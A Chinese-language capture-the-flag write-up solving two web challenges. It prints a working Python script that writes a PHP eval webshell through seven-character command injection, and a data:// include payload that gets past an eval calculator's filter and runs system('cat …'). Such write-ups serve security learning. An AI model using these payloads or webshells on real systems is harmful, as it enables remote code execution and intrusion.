一、WEB
1.web签到
题目说明仅支持短命令执行且没有回显,先F12查看一下源码:
function help(){
if(isSafe($("#cmd").val())){
$("#help").css("color","#69cf56");
$("#help").html("提交命令执行");
}else{
$("#help").css("color","#ec1616");
$("#help").html("命令字符过长");
}
}
function isSafe(cmd){
return cmd.length<=7;
}
function check(){
if(isSafe($("#cmd").val())){
$("#help").css("color","#69cf56");
$("#help").html("提交命令执行");
return true;
}else{
$("#help").css("color","#ec1616");
$("#help").html("命令字符过长");
return false ;
}
}
发现一段js代码,要求命令执行长度不超过7个字符。因为命令执行没有回显,我们可以利用写文件的方法在一个新的文件中进行getshell。首先确定我们文件中的内容:
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
通过echo指令向1.php这个文件中写入一句话木马<?php eval($_POST[1]);
,由于我们的命令执行长度最多为7个字符,所以我们得将文件中的内容分成若干段倒序新建文件,再利用ls -t>0
命令(刚好7个字符)将当前环境下的所有文件按时间顺序存进名为0的文件中,新添加的文件排在最前面(所以新建文件时候要倒序),这时候我们的0文件里面内容如下:
这时候我们再执行. 0
命令将0文件当作脚本执行,就成功把一句话木马写进1.php文件中了。
最后附上脚本:
import requests
import time
url = 'http://0964f440-c926-43bf-8fd8-bc8853f97e2b.challenge.ctf.show/api/'
#payload=.0 ls -t>0 echo\\ PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==\\|base64\\ -d\\>1.php
payload=[ ">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">64\\",
">ase\\",
">\\|b\\",
">Ow==\\",
">MV0p\\",
">U1Rb\\",
">X1BP\\",
">bCgk\\",
">ZXZh\\",
">aHAg\\",
">PD9w\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"]
def write(pay):
data = {
"cmd": pay
}
r=requests.post(url=url+'tools.php', data=data)
r.encoding='utf-8'
if "执行" in r.text:
print(f'{pay}执行成功')
def run():
for p in payload:
print(f"正在执行{p.strip()}")
write(p.strip())
time.sleep(1)
def getflag():
data={
"1":"system('cat /f*');"
}
r=requests.post(url=url+'11.php',data=data)
print(r.text)
if __name__ == '__main__' :
run()
getflag()
注:需要注意对特殊符号的转义处理
2.easy_calc
题目直接给出源码:
<?php
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}
过滤了小括号,大部分函数都无法使用,首先想到几个不需要使用括号的文件包含函数:include、require、require_once
,同时我们想获得回显就需要利用伪协议包含,这里我们利用data://
伪协议,将一句话木马<?php eval($_POST[1])
;用base64编码绕过过滤,payload如下:
POST
num1=1;include"data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw";1&symbol=-&num2=1&1=system('cat /s*');
还可以:
POST
num1=1;include"data:/&symbol=/&num2=text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw"&1=system('cat /s*');
注:①等于号被过滤了,base64编码后的结果中要把等于号去掉不影响解码结果;
②flag在secret文件中
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com